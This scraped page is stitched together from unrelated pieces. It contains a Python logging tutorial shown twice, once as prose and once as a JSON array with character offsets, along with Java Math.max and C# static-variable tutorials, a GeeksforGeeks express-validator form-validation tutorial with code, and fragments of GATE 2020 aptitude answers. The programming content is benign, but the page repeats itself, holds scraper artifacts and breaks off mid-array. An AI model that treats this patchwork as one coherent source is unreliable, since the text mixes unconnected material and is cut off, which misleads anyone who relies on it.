Whenever possible provide context information, such as a (hashed) user id, session id, so that debugging or error handling is possible
If you already work with Python or you are familiar with programming this code block might be already sufficient to work with. To understand and remember it more easily, I try to think of it with WHAT — WHERE — HOW.
The WHAT refers to the logger itself together with the different log levels.
The WHERE refers to where the logging output or rather handler should go. This might include your console and a file.
The HOW refers to how the log statements should look like or rather what should be included? This is done by the Formatter.
WHAT — Log levelsBelow you find an overview table with the five log levels. If you follow the GitHub gist you will also see that for each level I added in which application life cycle you could use the log levels.
If you set your log level to debug(logger.setLevel(logging.DEBUG)) then all logging statements that you wrote (DEBUG, INFO, WARNING, ERROR, CRITICAL) will be logged. If you set your log level to WARNING (logger.setLevel(logging.WARNING)) then only the logging statements (WARNING, ERROR, CRITICAL) will be logged.
This will give you the advantage of letting all your logging statements in the code, even when you go into production. You will only need to change the log level.
During development, you might use one of the two log levels DEBUG or INFO. During debugging you will use DEBUG. When you deploy your code into production you should set the log level to WARNING. Below you will find two code examples with different log levels, and hence, different logging outputs.
EXAMPLE 01 — Log level set to debug
DEBUG - User User XYZ provided the numbers 100 and 0 for calculationERROR - Calculation was unsuccessful for user User XYZ with the inputs 100 and 0ERROR - division by zero
EXAMPLE 02 — Log level set to warning
ERROR - Calculation was unsuccessful for user User XYZ with the inputs 100 and 0ERROR - division by zero
Please note, that in the second example the debug log statement is omitted since the log level is set to warning, hence only warnings, errors, and critical statements are displayed.
WHERE — Log handlersIn my own experience, I use the file and the console (stream) handlers. However, the python logging documentation lists 15 different logging handlers. Please check it out for your specific needs. How to set up the StreamHandler to log in to the console is shown above.
I will show you in this example how to set up a FileHandler to create a logfile next to the console output.
HOW — format your log statementMost of the examples I found where formatted in this way, but of course, you may adapt the configuration as you see fit:
Date-time informationName of the logger (the name you provided with the getLogger-function)The log level of the log statementThe log message itself.
Date-time information
Name of the logger (the name you provided with the getLogger-function)
The log level of the log statement
The log message itself.
Logging package documentation
An example from the package documentation
Another introduction into logging
13 tips for logging
Stop Using Print to Debug in Python. Use Icecream Instead by Khuyen Tran
In this article, I try to trick you into using the logging package in your next Python project. I offer a copy-paste-logging-code-setup. Then I explain three important logging concepts: log levels, log handlers, and log formatter. Finally, I provide a list with further information.
Please feel free to contact me with any questions and comments. Thank you. Find more articles from me here:
Learn how I plan my articles for MediumLearn how to write clean code in Python using chaining (or pipes)Learn how to analyze your LinkedIn data using RLearn how to create charts in a descriptive way in Python using grammar of graphics
Learn how I plan my articles for Medium
Learn how to write clean code in Python using chaining (or pipes)
Learn how to analyze your LinkedIn data using R
Learn how to create charts in a descriptive way in Python using grammar of graphics
Gregor Scheithauer is a consultant, data scientist, and researcher. He is specialized in the topics of Process Mining, Business Process Management, and Analytics. You can connect with him on LinkedIn, Twitter, or here on Medium. Thank you!
|
[
{
"code": null,
"e": 829,
"s": 172,
"text": "Gregor is a data scientist who loves to solve data riddles. One day, he is given a new project and wants to jump into this new task immediately. He is prepared and a master of his favorite coding tool of choice, knows which packages to use, and already he forms an idea of how to structure the data project. Logging is not on his mind. Not at the start, that is. It dawns on him when most of the code is written and there is only one bug that he tries to pinpoint and find in his code. Once he smashed his bug and rewritten his flawed code, he realizes his code is cluttered with print() statements. He needs to get them out before passing on his solution."
},
{
"code": null,
"e": 1088,
"s": 829,
"text": "Maybe you can relate to this little scenario. But I learned that there is an easy fix to my shortcoming. I took a bit of time and looked into the standard python logging framework and I will explain it happily here for my future self and, of course, for you."
},
{
"code": null,
"e": 1348,
"s": 1088,
"text": "I will provide us with a copy-paste-logging-code-template to make logging simple. Also, I will share additional information about the three most important logging concepts. The article ends with relevant articles about logging that I found during my research."
},
{
"code": null,
"e": 1482,
"s": 1348,
"text": "Here is the cop- paste template for logging to your console. Find a logging template to set up a log file in section 3 (log handler)."
},
{
"code": null,
"e": 1498,
"s": 1482,
"text": "Additional tips"
},
{
"code": null,
"e": 2081,
"s": 1498,
"text": "You may change log levels based on your task or state of development, no need to delete print statements after a debugging sessionIt is possible to log statements into different outputs. A file for audit-purposed logging, a console output during development with a debug level, or a console output during production with only warnings and error messages.Try to write meaningful logging statements for other developers and admins that run your code.Whenever possible provide context information, such as a (hashed) user id, session id, so that debugging or error handling is possible"
},
{
"code": null,
"e": 2212,
"s": 2081,
"text": "You may change log levels based on your task or state of development, no need to delete print statements after a debugging session"
},
{
"code": null,
"e": 2437,
"s": 2212,
"text": "It is possible to log statements into different outputs. A file for audit-purposed logging, a console output during development with a debug level, or a console output during production with only warnings and error messages."
},
{
"code": null,
"e": 2532,
"s": 2437,
"text": "Try to write meaningful logging statements for other developers and admins that run your code."
},
{
"code": null,
"e": 2667,
"s": 2532,
"text": "Whenever possible provide context information, such as a (hashed) user id, session id, so that debugging or error handling is possible"
},
{
"code": null,
"e": 2883,
"s": 2667,
"text": "If you already work with Python or you are familiar with programming this code block might be already sufficient to work with. To understand and remember it more easily, I try to think of it with WHAT — WHERE — HOW."
},
{
"code": null,
"e": 2960,
"s": 2883,
"text": "The WHAT refers to the logger itself together with the different log levels."
},
{
"code": null,
"e": 3078,
"s": 2960,
"text": "The WHERE refers to where the logging output or rather handler should go. This might include your console and a file."
},
{
"code": null,
"e": 3202,
"s": 3078,
"text": "The HOW refers to how the log statements should look like or rather what should be included? This is done by the Formatter."
},
{
"code": null,
"e": 3416,
"s": 3202,
"text": "WHAT — Log levelsBelow you find an overview table with the five log levels. If you follow the GitHub gist you will also see that for each level I added in which application life cycle you could use the log levels."
},
{
"code": null,
"e": 3730,
"s": 3416,
"text": "If you set your log level to debug(logger.setLevel(logging.DEBUG)) then all logging statements that you wrote (DEBUG, INFO, WARNING, ERROR, CRITICAL) will be logged. If you set your log level to WARNING (logger.setLevel(logging.WARNING)) then only the logging statements (WARNING, ERROR, CRITICAL) will be logged."
},
{
"code": null,
"e": 3893,
"s": 3730,
"text": "This will give you the advantage of letting all your logging statements in the code, even when you go into production. You will only need to change the log level."
},
{
"code": null,
"e": 4191,
"s": 3893,
"text": "During development, you might use one of the two log levels DEBUG or INFO. During debugging you will use DEBUG. When you deploy your code into production you should set the log level to WARNING. Below you will find two code examples with different log levels, and hence, different logging outputs."
},
{
"code": null,
"e": 4227,
"s": 4191,
"text": "EXAMPLE 01 — Log level set to debug"
},
{
"code": null,
"e": 4400,
"s": 4227,
"text": "DEBUG - User User XYZ provided the numbers 100 and 0 for calculationERROR - Calculation was unsuccessful for user User XYZ with the inputs 100 and 0ERROR - division by zero"
},
{
"code": null,
"e": 4438,
"s": 4400,
"text": "EXAMPLE 02 — Log level set to warning"
},
{
"code": null,
"e": 4543,
"s": 4438,
"text": "ERROR - Calculation was unsuccessful for user User XYZ with the inputs 100 and 0ERROR - division by zero"
},
{
"code": null,
"e": 4725,
"s": 4543,
"text": "Please note, that in the second example the debug log statement is omitted since the log level is set to warning, hence only warnings, errors, and critical statements are displayed."
},
{
"code": null,
"e": 5014,
"s": 4725,
"text": "WHERE — Log handlersIn my own experience, I use the file and the console (stream) handlers. However, the python logging documentation lists 15 different logging handlers. Please check it out for your specific needs. How to set up the StreamHandler to log in to the console is shown above."
},
{
"code": null,
"e": 5122,
"s": 5014,
"text": "I will show you in this example how to set up a FileHandler to create a logfile next to the console output."
},
{
"code": null,
"e": 5274,
"s": 5122,
"text": "HOW — format your log statementMost of the examples I found where formatted in this way, but of course, you may adapt the configuration as you see fit:"
},
{
"code": null,
"e": 5423,
"s": 5274,
"text": "Date-time informationName of the logger (the name you provided with the getLogger-function)The log level of the log statementThe log message itself."
},
{
"code": null,
"e": 5445,
"s": 5423,
"text": "Date-time information"
},
{
"code": null,
"e": 5516,
"s": 5445,
"text": "Name of the logger (the name you provided with the getLogger-function)"
},
{
"code": null,
"e": 5551,
"s": 5516,
"text": "The log level of the log statement"
},
{
"code": null,
"e": 5575,
"s": 5551,
"text": "The log message itself."
},
{
"code": null,
"e": 5605,
"s": 5575,
"text": "Logging package documentation"
},
{
"code": null,
"e": 5647,
"s": 5605,
"text": "An example from the package documentation"
},
{
"code": null,
"e": 5681,
"s": 5647,
"text": "Another introduction into logging"
},
{
"code": null,
"e": 5701,
"s": 5681,
"text": "13 tips for logging"
},
{
"code": null,
"e": 5774,
"s": 5701,
"text": "Stop Using Print to Debug in Python. Use Icecream Instead by Khuyen Tran"
},
{
"code": null,
"e": 6057,
"s": 5774,
"text": "In this article, I try to trick you into using the logging package in your next Python project. I offer a copy-paste-logging-code-setup. Then I explain three important logging concepts: log levels, log handlers, and log formatter. Finally, I provide a list with further information."
},
{
"code": null,
"e": 6165,
"s": 6057,
"text": "Please feel free to contact me with any questions and comments. Thank you. Find more articles from me here:"
},
{
"code": null,
"e": 6400,
"s": 6165,
"text": "Learn how I plan my articles for MediumLearn how to write clean code in Python using chaining (or pipes)Learn how to analyze your LinkedIn data using RLearn how to create charts in a descriptive way in Python using grammar of graphics"
},
{
"code": null,
"e": 6440,
"s": 6400,
"text": "Learn how I plan my articles for Medium"
},
{
"code": null,
"e": 6506,
"s": 6440,
"text": "Learn how to write clean code in Python using chaining (or pipes)"
},
{
"code": null,
"e": 6554,
"s": 6506,
"text": "Learn how to analyze your LinkedIn data using R"
},
{
"code": null,
"e": 6638,
"s": 6554,
"text": "Learn how to create charts in a descriptive way in Python using grammar of graphics"
}
] |
Get the maximum of two numbers using Math.max in Java
|
To obtain the maximum of two numbers using Math.max in Java, we use the java.lang.Math.max() method. The Math.max() accepts two numbers and returns the greater of the two. The result is closer to positive infinity on the number line. Even if one of the values is not a number(NaN), the result is NaN.
Declaration - The java.lang.Math.max() method is declared as follows −
public static int max(int a, int b)
public static double max(double a, double b)
public static long max(long a, long b)
public static float max(float a, float b)
Let us see a program to get the maximum of two numbers using the Math.max() method
Live Demo
import java.lang.Math;
public class Example {
public static void main(String[] args) {
// declaring and intializing some integer values
int a = 10;
int b = 9;
// declaring and intializing some float values
float c = 10.00f;
float d = 9.99f;
// declaring and initializing some double values
double x = 300.01d;
double y = 290.344d;
// declaring and initializing some long values
long r = 123456l;
long s = 35678l;
System.out.println("Maximum of " + a +" and " + b +" is " + Math.max(a,b));
System.out.println("Maximum of " + c +" and " + d +" is " + Math.max(c,d));
System.out.println("Maximum of " + x +" and " + y +" is " + Math.max(x,y));
System.out.println("Maximum of " + r +" and " + s +" is " + Math.max(r,s));
}
}
Maximum of 10 and 9 is 10
Maximum of 10.0 and 9.99 is 10.0
Maximum of 300.01 and 290.344 is 300.01
Maximum of 123456 and 35678 is 123456
|
[
{
"code": null,
"e": 1363,
"s": 1062,
"text": "To obtain the maximum of two numbers using Math.max in Java, we use the java.lang.Math.max() method. The Math.max() accepts two numbers and returns the greater of the two. The result is closer to positive infinity on the number line. Even if one of the values is not a number(NaN), the result is NaN."
},
{
"code": null,
"e": 1434,
"s": 1363,
"text": "Declaration - The java.lang.Math.max() method is declared as follows −"
},
{
"code": null,
"e": 1596,
"s": 1434,
"text": "public static int max(int a, int b)\npublic static double max(double a, double b)\npublic static long max(long a, long b)\npublic static float max(float a, float b)"
},
{
"code": null,
"e": 1679,
"s": 1596,
"text": "Let us see a program to get the maximum of two numbers using the Math.max() method"
},
{
"code": null,
"e": 1690,
"s": 1679,
"text": " Live Demo"
},
{
"code": null,
"e": 2513,
"s": 1690,
"text": "import java.lang.Math;\npublic class Example {\n public static void main(String[] args) {\n // declaring and intializing some integer values\n int a = 10;\n int b = 9;\n // declaring and intializing some float values\n float c = 10.00f;\n float d = 9.99f;\n // declaring and initializing some double values\n double x = 300.01d;\n double y = 290.344d;\n // declaring and initializing some long values\n long r = 123456l;\n long s = 35678l;\n System.out.println(\"Maximum of \" + a +\" and \" + b +\" is \" + Math.max(a,b));\n System.out.println(\"Maximum of \" + c +\" and \" + d +\" is \" + Math.max(c,d));\n System.out.println(\"Maximum of \" + x +\" and \" + y +\" is \" + Math.max(x,y));\n System.out.println(\"Maximum of \" + r +\" and \" + s +\" is \" + Math.max(r,s));\n }\n}"
},
{
"code": null,
"e": 2650,
"s": 2513,
"text": "Maximum of 10 and 9 is 10\nMaximum of 10.0 and 9.99 is 10.0\nMaximum of 300.01 and 290.344 is 300.01\nMaximum of 123456 and 35678 is 123456"
}
] |
static keyword in C#
|
We can define class members as static using the static keyword. When we declare a member of a class as static, it means no matter how many objects of the class are created, there is only one copy of the static member.
The keyword static implies that only one instance of the member exists for a class. Static variables are used for defining constants because their values can be retrieved by invoking the class without creating an instance of it.
The following is an example showing the usage of static variables −
Live Demo
using System;
namespace StaticVarApplication {
class StaticVar {
public static int num;
public void count() {
num++;
}
public int getNum() {
return num;
}
}
class StaticTester {
static void Main(string[] args) {
StaticVar s1 = new StaticVar();
StaticVar s2 = new StaticVar();
s1.count();
s1.count();
s1.count();
s2.count();
s2.count();
s2.count();
Console.WriteLine("Variable num for s1: {0}", s1.getNum());
Console.WriteLine("Variable num for s2: {0}", s2.getNum());
Console.ReadKey();
}
}
}
Variable num for s1: 6
Variable num for s2: 6
|
[
{
"code": null,
"e": 1280,
"s": 1062,
"text": "We can define class members as static using the static keyword. When we declare a member of a class as static, it means no matter how many objects of the class are created, there is only one copy of the static member."
},
{
"code": null,
"e": 1509,
"s": 1280,
"text": "The keyword static implies that only one instance of the member exists for a class. Static variables are used for defining constants because their values can be retrieved by invoking the class without creating an instance of it."
},
{
"code": null,
"e": 1577,
"s": 1509,
"text": "The following is an example showing the usage of static variables −"
},
{
"code": null,
"e": 1588,
"s": 1577,
"text": " Live Demo"
},
{
"code": null,
"e": 2259,
"s": 1588,
"text": "using System;\n\nnamespace StaticVarApplication {\n class StaticVar {\n public static int num;\n\n public void count() {\n num++;\n }\n\n public int getNum() {\n return num;\n }\n }\n\n class StaticTester {\n static void Main(string[] args) {\n StaticVar s1 = new StaticVar();\n StaticVar s2 = new StaticVar();\n\n s1.count();\n s1.count();\n s1.count();\n\n s2.count();\n s2.count();\n s2.count();\n\n Console.WriteLine(\"Variable num for s1: {0}\", s1.getNum());\n Console.WriteLine(\"Variable num for s2: {0}\", s2.getNum());\n Console.ReadKey();\n }\n }\n}"
},
{
"code": null,
"e": 2305,
"s": 2259,
"text": "Variable num for s1: 6\nVariable num for s2: 6"
}
] |
How to validate if input in input field has decimal number only using express-validator ? - GeeksforGeeks
|
07 Apr, 2022
In HTML forms, we often required validation of different types. Validate existing email, validate password length, validate confirm password, validate to allow only integer inputs, these are some examples of validation. In a certain input field, only decimal numbers are allowed i.e. there not allowed any strings, special characters, or anything other than a decimal number. We can also validate these input fields to accept only decimal numbers using express-validator middleware.
Command to install express-validator:
npm install express-validator
Steps to use express-validator to implement the logic:
Install express-validator middleware.
Create a validator.js file to code all the validation logic.
Validate input by validateInputField: check(input field name) and chain on the validation isDecimal() with ‘ . ‘
Use the validation name(validateInputField) in the routes as a middleware as an array of validations.
Destructure ‘validationResult’ function from express-validator to use it to find any errors.
If error occurs redirect to the same page passing the error information.
If error list is empty, give access to the user for the subsequent request.
Note: Here we use local or custom database to implement the logic, the same steps can be followed to implement the logic in a regular database like MongoDB or MySql.
Example: This example illustrates how to validate a input field to only allow decimal numbers.
Filename – index.js
javascript
const express = require('express')const bodyParser = require('body-parser')const {validationResult} = require('express-validator')const repo = require('./repository')const { validateHeight } = require('./validator')const formTemplet = require('./form') const app = express()const port = process.env.PORT || 3000 // The body-parser middleware to parse form dataapp.use(bodyParser.urlencoded({extended : true})) // Get route to display HTML formapp.get('/', (req, res) => { res.send(formTemplet({}))}) // Post route to handle form submission logic andapp.post( '/info', [validateHeight], async (req, res) => { const errors = validationResult(req) if (!errors.isEmpty()) { return res.send(formTemplet({errors})) } const {email, name, weight, height} = req.body // New record await repo.create({ email, name, 'weight':`${weight} Kg`, 'height':`${height} Inches` })res.send('<strong>Information is saved to the' + ' database successfully</strong>')}) // Server setupapp.listen(port, () => { console.log(`Server start on port ${port}`)})
Filename – repository.js: This file contains all the logic to create a local database and interact with it.
javascript
// Importing node.js file system moduleconst fs = require('fs') class Repository { constructor(filename) { // Filename where datas are going to store if (!filename) { throw new Error('Filename is required to create a datastore!') } this.filename = filename try { fs.accessSync(this.filename) } catch(err) { // If file not exist it is created // with empty array fs.writeFileSync(this.filename, '[]') } } // Get all existing records async getAll() { return JSON.parse( await fs.promises.readFile(this.filename, { encoding : 'utf8' }) ) } // Create new record async create(attrs){ // Fetch all existing records const records = await this.getAll() // All the existing records with new // record push back to database records.push(attrs) await fs.promises.writeFile( this.filename, JSON.stringify(records, null, 2) ) return attrs }} // The 'datastore.json' file created at runtime// and all the information provided via signup form// store in this file in JSON format.module.exports = new Repository('datastore.json')
Filename – form.js: This file contains logic to show the form to submit the data.
javascript
const getError = (errors, prop) => { try { return errors.mapped()[prop].msg } catch (error) { return '' }} module.exports = ({errors}) => { return ` <!DOCTYPE html> <html> <head> <link rel='stylesheet'href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.9.0/css/bulma.min.css'> <style> div.columns{ margin-top: 100px; } .button{ margin-top : 10px } </style> </head> <body> <div class='container'> <div class='columns is-centered'> <div class='column is-5'> <form action='/info' method='POST'> <div> <div> <label class='label' id='email'>Email</label> </div> <input class='input' type='text' name='email' placeholder='Email' for='email'> </div> <div> <div> <label class='label' id='name'>Name</label> </div> <input class='input' type='text' name='name' placeholder='Name' for='name'> </div> <div> <div> <label class='label' id='weight'>Weight</label> </div> <input class='input' type='text' name='weight' placeholder='In Kgs' for='weight'> </div> <div> <div> <label class='label' id='height'>Height</label> </div> <input class='input' type='text' name='height' placeholder='In Inches' for='dob'> <p class="help is-danger">${getError(errors, 'height')}</p> </div> <div> <button class='button is-primary'>Submit</button> </div> </form> </div> </div> </div> </body> </html> `}
Filename – validator.js: This file contain all the validation logic(Logic to validate a input field to only allow the decimal numbers).
javascript
const {check} = require('express-validator')const repo = require('./repository')module.exports = { validateHeight : check('height') // To delete leading and trailing space .trim() // Validate height to accept // only decimal number .isDecimal() // Custom message .withMessage('Must be a decimal number') }
Filename – package.json
Package.json file
Database:
Database
Output:
Attempt to submit form data when height input field is not a valid decimal number
Attempt to submit form data when height input field is not a valid decimal number
Response when attempt to submit form data where height input field is not a valid decimal number(Response in first two cases)
Attempt to submit form data when height input field is valid decimal number
Attempt to submit form data when height input field is valid decimal number
Response when attempt to submit form data where height input field is a valid decimal number(Response in last two cases)
Database after successful form submission:
Database after successful submission of form
Note: We have used some Bulma classes(CSS framework) in the signup.js file to design the content.
sagartomar9927
rkbhola5
Express.js
Node.js-Misc
Node.js
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Node.js path.resolve() Method
Node.js crypto.createCipheriv() Method
Node.js CRUD Operations Using Mongoose and MongoDB Atlas
Node.js fs.readdir() Method
Express.js res.render() Function
Express.js express.Router() Function
Convert a string to an integer in JavaScript
How to set the default value for an HTML <select> element ?
Top 10 Angular Libraries For Web Developers
How to create footer to stay at the bottom of a Web page?
|
[
{
"code": null,
"e": 24735,
"s": 24707,
"text": "\n07 Apr, 2022"
},
{
"code": null,
"e": 25218,
"s": 24735,
"text": "In HTML forms, we often required validation of different types. Validate existing email, validate password length, validate confirm password, validate to allow only integer inputs, these are some examples of validation. In a certain input field, only decimal numbers are allowed i.e. there not allowed any strings, special characters, or anything other than a decimal number. We can also validate these input fields to accept only decimal numbers using express-validator middleware."
},
{
"code": null,
"e": 25256,
"s": 25218,
"text": "Command to install express-validator:"
},
{
"code": null,
"e": 25286,
"s": 25256,
"text": "npm install express-validator"
},
{
"code": null,
"e": 25341,
"s": 25286,
"text": "Steps to use express-validator to implement the logic:"
},
{
"code": null,
"e": 25379,
"s": 25341,
"text": "Install express-validator middleware."
},
{
"code": null,
"e": 25440,
"s": 25379,
"text": "Create a validator.js file to code all the validation logic."
},
{
"code": null,
"e": 25553,
"s": 25440,
"text": "Validate input by validateInputField: check(input field name) and chain on the validation isDecimal() with ‘ . ‘"
},
{
"code": null,
"e": 25655,
"s": 25553,
"text": "Use the validation name(validateInputField) in the routes as a middleware as an array of validations."
},
{
"code": null,
"e": 25748,
"s": 25655,
"text": "Destructure ‘validationResult’ function from express-validator to use it to find any errors."
},
{
"code": null,
"e": 25821,
"s": 25748,
"text": "If error occurs redirect to the same page passing the error information."
},
{
"code": null,
"e": 25897,
"s": 25821,
"text": "If error list is empty, give access to the user for the subsequent request."
},
{
"code": null,
"e": 26063,
"s": 25897,
"text": "Note: Here we use local or custom database to implement the logic, the same steps can be followed to implement the logic in a regular database like MongoDB or MySql."
},
{
"code": null,
"e": 26158,
"s": 26063,
"text": "Example: This example illustrates how to validate a input field to only allow decimal numbers."
},
{
"code": null,
"e": 26178,
"s": 26158,
"text": "Filename – index.js"
},
{
"code": null,
"e": 26189,
"s": 26178,
"text": "javascript"
},
{
"code": "const express = require('express')const bodyParser = require('body-parser')const {validationResult} = require('express-validator')const repo = require('./repository')const { validateHeight } = require('./validator')const formTemplet = require('./form') const app = express()const port = process.env.PORT || 3000 // The body-parser middleware to parse form dataapp.use(bodyParser.urlencoded({extended : true})) // Get route to display HTML formapp.get('/', (req, res) => { res.send(formTemplet({}))}) // Post route to handle form submission logic andapp.post( '/info', [validateHeight], async (req, res) => { const errors = validationResult(req) if (!errors.isEmpty()) { return res.send(formTemplet({errors})) } const {email, name, weight, height} = req.body // New record await repo.create({ email, name, 'weight':`${weight} Kg`, 'height':`${height} Inches` })res.send('<strong>Information is saved to the' + ' database successfully</strong>')}) // Server setupapp.listen(port, () => { console.log(`Server start on port ${port}`)})",
"e": 27279,
"s": 26189,
"text": null
},
{
"code": null,
"e": 27387,
"s": 27279,
"text": "Filename – repository.js: This file contains all the logic to create a local database and interact with it."
},
{
"code": null,
"e": 27398,
"s": 27387,
"text": "javascript"
},
{
"code": "// Importing node.js file system moduleconst fs = require('fs') class Repository { constructor(filename) { // Filename where datas are going to store if (!filename) { throw new Error('Filename is required to create a datastore!') } this.filename = filename try { fs.accessSync(this.filename) } catch(err) { // If file not exist it is created // with empty array fs.writeFileSync(this.filename, '[]') } } // Get all existing records async getAll() { return JSON.parse( await fs.promises.readFile(this.filename, { encoding : 'utf8' }) ) } // Create new record async create(attrs){ // Fetch all existing records const records = await this.getAll() // All the existing records with new // record push back to database records.push(attrs) await fs.promises.writeFile( this.filename, JSON.stringify(records, null, 2) ) return attrs }} // The 'datastore.json' file created at runtime// and all the information provided via signup form// store in this file in JSON format.module.exports = new Repository('datastore.json')",
"e": 28536,
"s": 27398,
"text": null
},
{
"code": null,
"e": 28618,
"s": 28536,
"text": "Filename – form.js: This file contains logic to show the form to submit the data."
},
{
"code": null,
"e": 28629,
"s": 28618,
"text": "javascript"
},
{
"code": "const getError = (errors, prop) => { try { return errors.mapped()[prop].msg } catch (error) { return '' }} module.exports = ({errors}) => { return ` <!DOCTYPE html> <html> <head> <link rel='stylesheet'href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.9.0/css/bulma.min.css'> <style> div.columns{ margin-top: 100px; } .button{ margin-top : 10px } </style> </head> <body> <div class='container'> <div class='columns is-centered'> <div class='column is-5'> <form action='/info' method='POST'> <div> <div> <label class='label' id='email'>Email</label> </div> <input class='input' type='text' name='email' placeholder='Email' for='email'> </div> <div> <div> <label class='label' id='name'>Name</label> </div> <input class='input' type='text' name='name' placeholder='Name' for='name'> </div> <div> <div> <label class='label' id='weight'>Weight</label> </div> <input class='input' type='text' name='weight' placeholder='In Kgs' for='weight'> </div> <div> <div> <label class='label' id='height'>Height</label> </div> <input class='input' type='text' name='height' placeholder='In Inches' for='dob'> <p class=\"help is-danger\">${getError(errors, 'height')}</p> </div> <div> <button class='button is-primary'>Submit</button> </div> </form> </div> </div> </div> </body> </html> `}",
"e": 30646,
"s": 28629,
"text": null
},
{
"code": null,
"e": 30782,
"s": 30646,
"text": "Filename – validator.js: This file contain all the validation logic(Logic to validate a input field to only allow the decimal numbers)."
},
{
"code": null,
"e": 30793,
"s": 30782,
"text": "javascript"
},
{
"code": "const {check} = require('express-validator')const repo = require('./repository')module.exports = { validateHeight : check('height') // To delete leading and trailing space .trim() // Validate height to accept // only decimal number .isDecimal() // Custom message .withMessage('Must be a decimal number') }",
"e": 31128,
"s": 30793,
"text": null
},
{
"code": null,
"e": 31152,
"s": 31128,
"text": "Filename – package.json"
},
{
"code": null,
"e": 31170,
"s": 31152,
"text": "Package.json file"
},
{
"code": null,
"e": 31180,
"s": 31170,
"text": "Database:"
},
{
"code": null,
"e": 31189,
"s": 31180,
"text": "Database"
},
{
"code": null,
"e": 31197,
"s": 31189,
"text": "Output:"
},
{
"code": null,
"e": 31279,
"s": 31197,
"text": "Attempt to submit form data when height input field is not a valid decimal number"
},
{
"code": null,
"e": 31361,
"s": 31279,
"text": "Attempt to submit form data when height input field is not a valid decimal number"
},
{
"code": null,
"e": 31488,
"s": 31361,
"text": "Response when attempt to submit form data where height input field is not a valid decimal number(Response in first two cases)"
},
{
"code": null,
"e": 31564,
"s": 31488,
"text": "Attempt to submit form data when height input field is valid decimal number"
},
{
"code": null,
"e": 31640,
"s": 31564,
"text": "Attempt to submit form data when height input field is valid decimal number"
},
{
"code": null,
"e": 31762,
"s": 31640,
"text": "Response when attempt to submit form data where height input field is a valid decimal number(Response in last two cases)"
},
{
"code": null,
"e": 31805,
"s": 31762,
"text": "Database after successful form submission:"
},
{
"code": null,
"e": 31850,
"s": 31805,
"text": "Database after successful submission of form"
},
{
"code": null,
"e": 31948,
"s": 31850,
"text": "Note: We have used some Bulma classes(CSS framework) in the signup.js file to design the content."
},
{
"code": null,
"e": 31963,
"s": 31948,
"text": "sagartomar9927"
},
{
"code": null,
"e": 31972,
"s": 31963,
"text": "rkbhola5"
},
{
"code": null,
"e": 31983,
"s": 31972,
"text": "Express.js"
},
{
"code": null,
"e": 31996,
"s": 31983,
"text": "Node.js-Misc"
},
{
"code": null,
"e": 32004,
"s": 31996,
"text": "Node.js"
},
{
"code": null,
"e": 32021,
"s": 32004,
"text": "Web Technologies"
},
{
"code": null,
"e": 32119,
"s": 32021,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 32128,
"s": 32119,
"text": "Comments"
},
{
"code": null,
"e": 32141,
"s": 32128,
"text": "Old Comments"
},
{
"code": null,
"e": 32171,
"s": 32141,
"text": "Node.js path.resolve() Method"
},
{
"code": null,
"e": 32210,
"s": 32171,
"text": "Node.js crypto.createCipheriv() Method"
},
{
"code": null,
"e": 32267,
"s": 32210,
"text": "Node.js CRUD Operations Using Mongoose and MongoDB Atlas"
},
{
"code": null,
"e": 32295,
"s": 32267,
"text": "Node.js fs.readdir() Method"
},
{
"code": null,
"e": 32328,
"s": 32295,
"text": "Express.js res.render() Function"
},
{
"code": null,
"e": 32365,
"s": 32328,
"text": "Express.js express.Router() Function"
},
{
"code": null,
"e": 32410,
"s": 32365,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 32470,
"s": 32410,
"text": "How to set the default value for an HTML <select> element ?"
},
{
"code": null,
"e": 32514,
"s": 32470,
"text": "Top 10 Angular Libraries For Web Developers"
}
] |
GATE CS 2020 - GeeksforGeeks
|
29 Oct, 2021
We use 'since' to refer back to a previous point in time. We use 'since' as a preposition with a date, a time or a noun phrase.
We use 'for' with a period of time to refer to duration (how long something lasts).
Cook : Cook :: Fly : _______
Verb : Noun
The dawn of the 21st century witnessed the melting glaciers oscillating between giving too much and too little to billions of people who depend on them for fresh water. The UN climate report estimates that without deep cuts to man-made emissions, at least 30% of the northern hemisphere’s surface permafrost could melt by the end of the century. Given this situation of imminent global exodus of billions of people displaced by rising seas, nation-states need to rethink their carbon footprint for political concerns, if not for environmental ones. Which one of the following statements can be inferred from the given passage ?
Nation-states do not have environmental concerns.
Nation-states are responsible for providing fresh water to billions of people.
Billions of people are responsible for man-made emissions.
Billions of people are affected by melting glaciers.
Option (D) clearly explains the second last line of the passage.
200 + 200 + 100 + 100 + 100 = 700
(B) Cost of 1-f-b-2 :
100 + 100 + 0 + 100 +200 = 500
(C) Cost of 1-b-2 :
300 + 100 + 200 = 600
(D) Cost of 1-f-e-2 :
100 + 100 + 100 + 200 + 200 = 700
Hence, 1-f-b-2 is having minimum cost. Option (B) is correct.
P = 31 = 3
Q = 32 = 9
R = 33 = 27
S = 34 = 81
T = 35 = 243
Q+S = 9+81 = 90
= π((b-a)/2)2
= nπ((b-a)/2)2
= πb2 – πa2
= (Area of annular ring) – (Area of n blue color circles)
= ( πb2 – πa2 ) - ( nπ((b-a)/2)2 )
= π( b2 – a2 ) - π( (n/4)(b-a)2 )
= π[(b2−a2)−(n/4)(b−a)2]
→ ∠a + ∠b + ∠c = 180°
→ α + β + 90° = 180°
→ α + β = 180° - 90° = 90°
→ α + β = 90°
= 500 million/year
= 500 × 5
= 2500 million
= 400 + 500 + 600 + 700 + 800
= 3000 million
= 3000 - 2500 = 500
= (500/2500)*100 %
= 20 % profit
Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
Comments
Old Comments
Must Do Coding Questions for Product Based Companies
Microsoft Interview Experience for Internship (Via Engage)
Difference between var, let and const keywords in JavaScript
Array of Objects in C++ with Examples
How to Replace Values in Column Based on Condition in Pandas?
How to Fix: SyntaxError: positional argument follows keyword argument in Python
C Program to read contents of Whole File
Insert Image in a Jupyter Notebook
How to Replace Values in a List in Python?
How to Read Text Files with Pandas?
|
[
{
"code": null,
"e": 27219,
"s": 27191,
"text": "\n29 Oct, 2021"
},
{
"code": null,
"e": 27347,
"s": 27219,
"text": "We use 'since' to refer back to a previous point in time. We use 'since' as a preposition with a date, a time or a noun phrase."
},
{
"code": null,
"e": 27431,
"s": 27347,
"text": "We use 'for' with a period of time to refer to duration (how long something lasts)."
},
{
"code": null,
"e": 27461,
"s": 27431,
